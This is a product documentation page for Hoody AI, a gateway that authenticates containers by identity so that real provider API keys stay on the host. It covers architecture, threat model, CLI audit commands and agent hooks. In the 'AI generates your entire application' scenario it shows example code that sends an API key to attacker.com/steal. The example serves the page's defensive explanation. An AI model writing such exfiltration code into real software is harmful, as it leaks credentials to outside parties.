Skip to content
Hoody.com

Integrating an AI provider the usual way puts a real API key inside the container, where it lands in environment variables, config files, and logs. Anyone with container access can read it, including freelancers and AI-generated code.

Containers using Hoody AI hold no provider API key. They authenticate by container identity instead, and the real key stays on the host.


A request from a container carries a container token rather than a provider API key.

// Real API key exposed in container
const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-...
const OPENAI_KEY = process.env.OPENAI_KEY; // sk-proj-...
// Anyone with container access can copy and use these keys
// They work from anywhere, not just your infrastructure
// Freelancers can use them after project ends
// Malware can exfiltrate them
// No real API key - just container identity
const auth = 'container-dev-env'; // Only proves "I am this container"
// Or: 'container-1', 'container-2' for numbered containers
// This auth token:
// - Doesn't work outside your infrastructure
// - Dies when container is deleted
// - Can't be used by freelancers elsewhere
// - Is useless if exfiltrated

container-X is not an API key, and the gateway never parses the X. Any bearer token starting with container- asks the gateway to authenticate by container identity: a call made from inside a container is recognised as that container. Numbered identities like container-1 and descriptive ones like container-dev-alice are treated identically, so the suffix is a label for your own readability.

The gateway attributes usage to the resolved container and its owning account regardless of the token suffix. Per-container accounting ships: the gateway keeps one usage ledger per container, keyed by the resolved container id rather than by the token string, and a container reads its own records back over three routes.

MethodPathPurpose
GET/usageThis container’s records, newest first. Takes since_ms, until_ms, limit (max 500) and cursor; a page ends at 500 rows or 2 MiB, whichever comes first
GET/usage/summaryTotals for a window, including how many records the provider did not report
DELETE/usage?before_ms=...Bounded delete of this container’s own records. Rows for in-flight requests are never deleted

They sit at the gateway root (https://ai.hoody.com/usage), not under /api/v1, and they authenticate the way inference does: by which container the request came from, and nothing else. Two consequences follow. Any process inside the container can read that container’s usage, privileged or not, because the identity is the container rather than a user within it. And since a container can delete its own history, this ledger is a convenience copy for the tenant rather than authoritative billing evidence. Use it to see AI consumption per workload and to attribute cost to a client or project; take the account’s own billing records as the authority.


Hoody AI runs on the host, not inside containers:

Your Physical Server
├── Host OS (Bare Metal)
│ └── Hoody AI Service
│ ├── Listens: https://ai.hoody.com/api/v1
│ ├── Holds: The real upstream API key (provisioned for your account by Hoody)
│ ├── Accepts: Only requests from local containers
│ └── Verifies: Container identity + permissions
│
└── Containers (Isolated)
├── Container 1: Can access AI (if enabled)
├── Container 2: Can access AI (if enabled)
└── Container 3: Cannot access AI (disabled)

Containers never see the real upstream API keys. They see only container-X tokens.

A request from a container follows this flow:

1. Container sends: "Bearer container-dev-env"
2. Hoody AI checks:
✓ Is this request from a container on THIS server?
✓ Which container is making the call?
✓ Is AI enabled for this container?
3. If all checks pass:
→ Use real API key (from host)
→ Call AI provider
→ Return response to container

If the same token is used from another server:

1. Attacker tries: "Bearer container-dev-env" from different server
2. Hoody AI checks:
✗ Request not from local container
→ REJECT (401 Unauthorized)

Prompts travel from the container to the gateway on your server, and from there to the AI provider:

Container → Hoody AI (your server) → AI Provider → Response

The Hoody platform knows:

  • You created a container
  • The container has AI enabled
  • Aggregate spend and request counts, for billing

It does not know:

  • Your AI prompts
  • AI responses
  • What you’re building

The AI gateway runs on your own server. When shadow logging is configured it records request metadata (a method and endpoint class, never the raw path; source address; status; duration) but never prompt or response bodies, and never your keys. Hoody provisions the upstream provider key for your account, so aggregate spend and request counts are visible for billing. On paid models the upstream provider receives your prompts and responses; free-tier requests reach the same upstream providers through Hoody-operated accounts.


The Problem

A traditional setup keeps API keys in environment variables:

Terminal window
# .env file
ANTHROPIC_KEY=sk-ant-api03-real-key-here
OPENAI_KEY=sk-proj-real-key-here

Risks:

  • Visible in process lists (ps aux | grep KEY)
  • Logged in error messages
  • Visible to debugging tools
  • Copied to snapshots
  • Shared with freelancers
  • Accessible to AI-generated code

Hoody AI Solution

Containers hold no API key at all:

Terminal window
# No .env needed
# Just use: container-{name}

There is nothing to leak, rotate, or protect, and deleting the container revokes access immediately.

Scenario: Hiring a freelancer to build a feature

Without Hoody AI:

1. Give freelancer access to server
2. Give them API keys (or they see them in env vars)
3. Hope they don't copy/abuse them
4. After project: Rotate all keys (painful)
5. Risk: They already copied the keys

With Hoody AI:

1. Create container: "freelancer-alice"
2. Enable AI access
3. Share container URL
4. They use: "container-freelancer-alice" (works only from that container)
5. After project: Delete container (instant revocation)
6. Risk: their auth token is useless once the container is gone

Scenario: AI generates your entire application

Without Hoody AI:

// AI might generate code like:
console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs
fetch('https://attacker.com/steal', {
body: process.env.ANTHROPIC_KEY // Exfiltrated
});

With Hoody AI:

// AI generates:
console.log('API Key:', process.env.AI_KEY);
// Logs: "container-dev-env" (useless outside your server)
fetch('https://attacker.com/steal', {
body: process.env.AI_KEY
});
// Attacker gets: "container-dev-env" (can't use it)

Scenario: Building a SaaS app with AI features

Without Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
headers: {
'Authorization': 'Bearer sk-real-api-key' // Exposed in browser
}
});

With Hoody AI:

// Frontend code (visible to users)
const response = await fetch('/api/ai', {
headers: {
'Authorization': 'Bearer container-saas-prod' // Useless if copied
}
});

Even if users inspect network traffic or source code, they get nothing useful.


AI access is a per-container flag. You can toggle it on a single container, revoke access immediately by deleting the container, and list containers to audit which ones have AI enabled.

Terminal window
# Enable AI for a container
hoody containers update $CONTAINER_ID --ai
# Disable AI for untrusted workload (use the SDK/API; see the SDK tab)
# The `update` command can only enable AI; to disable it, call the API
# with {"ai": false} or recreate the container with `--no-ai`.
# Delete a container (instant AI revocation)
hoody containers delete $CONTAINER_ID --yes
# Audit: list containers with AI status (paginated — repeat with
# --page 1, 2, ... through all pages for a full audit)
hoody containers list --page 1 --limit 100 -o json | jq '.containers[] | {id, name, ai}'

There is no container token to rotate: deleting the container ends its identity. The host-side upstream provider key is separate and follows a normal rotation process.

Beyond container-level access control, the Hoody Kit agent service (hoody-agent) ships hooks that let you enforce policy at the prompt level. A SessionStart hook’s output is injected into the system prompt for the life of the session, for example “Never execute destructive commands without asking first”. A UserPromptSubmit hook can append context to a prompt before it is sent, or block the prompt outright. Treat this as a strong default, not a hard boundary: a system prompt steers a model; it does not constrain it the way a firewall constrains a packet.

You can also monitor what an AI agent reads and writes as it works. A PostToolUse hook matching Read runs your own logging command every time that agent reads a file. A hook’s reach is the scope you write it to, not the session you write it from: the example below uses the project scope, so every session working in that project runs it, including sessions started later. It is not a server-wide monitor, and writing one is a fail-closed two-step: mint a single-use nonce, then spend it.

Terminal window
# $SID must identify a live agent session
NONCE=$(hoody agent hooks intents create --op upsert --scope project --session-id "$SID" --realm global -o json | jq -r .nonce)
hoody agent hooks upsert --nonce "$NONCE" --scope project --session-id "$SID" --realm global \
--event PostToolUse --matcher Read --command './log-agent-read.sh' \
--name 'Log agent reads' --description 'Log every Read tool call'

Each hook is a lifecycle event, a matcher, and a shell command you supply, defined in plain JSON. There is no JavaScript to write and no proxy or URL change involved.

See Intercept & Control for routing AI traffic through your own code.


Traditional API keys compared with Hoody AI

Section titled “Traditional API keys compared with Hoody AI”
AspectTraditional API keysHoody AI
Key storageIn containers (.env files)On the host only
Key visibilityVisible to container usersNever exposed
Key rotationManual, painfulNot needed
RevocationRotate key globallyDelete container
Freelancer riskCan copy and reuseContainer-restricted
Code generation riskAI can leak keysNo keys to leak
SaaS exposureKeys visible in codeUseless container tokens
PrivacyProvider sees usageGateway runs on your server and logs no prompt or response content

Give each customer their own container:

Terminal window
# Customer A
container-customer-acme → AI enabled
# Customer B
container-customer-techcorp → AI enabled
# Free tier customer
container-customer-startup → AI disabled

Each customer is isolated in their own container, and you provision or revoke access by creating or deleting one.

Per-developer containers:

Terminal window
# Alice's dev environment
container-dev-alice → AI enabled
# Bob's dev environment
container-dev-bob → AI enabled
# CI/CD pipeline
container-ci-prod → AI disabled (doesn't need it)

Developers cannot reach each other’s resources, and production stays separate from development.

Contractors get temporary container access:

Terminal window
# Contract period: 3 months
container-contractor-alice → AI enabled
# After contract ends:
DELETE container-contractor-alice
# Alice's access immediately revoked
# No key rotation needed
# No risk of continued usage

Give each container a name that records its purpose and intended access level:

Terminal window
container-prod-api # Production workload
container-dev-alice # Developer-specific
container-client-acme # Client-specific
container-untrusted-test # Limited permissions

Names are for your own readability. The gateway does not parse the suffix, so treat naming as documentation rather than an access-control or audit mechanism.

If running third-party code or untrusted workloads:

Terminal window
# The `update` command can only enable AI (--ai); it has no flag to
# turn AI off. To run an untrusted workload without AI, create the
# container with AI disabled from the start:
hoody containers create --project $PROJECT_ID --server-id $SERVER_ID \
--name my-untrusted-container --no-ai

Before giving AI extensive access:

Terminal window
# Create snapshot before AI generation
hoody snapshots create -c $CONTAINER_ID --alias "before-ai-generation"
# Let AI generate code...
# If result is bad, restore using the snapshot name — for an alias-created
# snapshot the name IS the sanitized alias
hoody snapshots restore -c $CONTAINER_ID --name "before-ai-generation" -y

Audit regularly which containers have AI enabled:

Terminal window
# Weekly audit: list containers with AI enabled (paginated — repeat
# with --page 1, 2, ... through all pages)
hoody containers list --page 1 --limit 100 -o json | jq '.containers[] | select(.ai == true) | {name, ai}'

What if I want to use my own AI providers?

Section titled “What if I want to use my own AI providers?”

You own the infrastructure, so you can configure your own AI providers directly on the host instead of using Hoody AI credits. You would then manage those API keys yourself, which brings back the exposure this page describes.

Can containers intercept each other’s AI traffic?

Section titled “Can containers intercept each other’s AI traffic?”

No. Each container’s AI requests are isolated, so container A cannot see container B’s prompts or responses.

If an attacker gains root access to your server, they can read the Hoody AI configuration. Threat model:

  • Host root can list containers, read their storage and change their isolation, so treat a compromised host as a compromise of everything on it: rebuild on a trusted host and rotate every provider key that was present. Container isolation assumes a trusted host and does not survive this: host tooling can read a container’s storage and execute inside it
  • Deleting a container does not revoke provider keys that were already copied: rotate them
  • Your provider/gateway API keys are stored on the host (in host-side config, plaintext by default); root on the host can read them, just as with any self-hosted AI gateway

This is still better than scattering the same keys across every container that needs AI access, but treat the host filesystem as part of the key’s trust boundary. The host’s LUKS full-disk encryption is already on and covers the machine being stolen; it does nothing for root on a running host, which is the threat here. Rotate on suspicion rather than relying on the disk layer.

No. Container-level rate limiting is not implemented. AI access is controlled at the container level by the ai boolean flag, which is enabled or disabled and nothing more.

How do I prevent abuse from vibe-coded apps?

Section titled “How do I prevent abuse from vibe-coded apps?”
  1. Enable AI only on trusted containers
  2. Monitor usage regularly
  3. Use snapshots to roll back bad AI generations
  4. Review AI-generated code before deployment

Possible causes:

  • Token missing the container- prefix (the suffix is not parsed; the call must come from inside the container)
  • Container on different server than Hoody AI
  • Container permissions not updated (API cache delay)

Solution:

Terminal window
# Verify container status
curl "https://api.hoody.com/api/v1/containers/{id}" \
-H "Authorization: Bearer $HOODY_TOKEN"
# Ensure ai: true
# Send "Authorization: Bearer container-<name>" from inside the container;
# the name part does not need to be the exact container name

Container identity works locally but not in production

Section titled “Container identity works locally but not in production”

Cause: Production container on different server

Solution: Each server runs its own Hoody AI instance. Container authentication only works on the server where the container exists.

Actions:

  1. Disable AI for that container immediately
  2. Review container activity
  3. Consider deleting and recreating if compromised
Terminal window
# Immediate revocation
curl -X PATCH "https://api.hoody.com/api/v1/containers/{id}" \
-H "Authorization: Bearer $HOODY_TOKEN" \
-H "Content-Type: application/json" \
-d '{"ai": false}'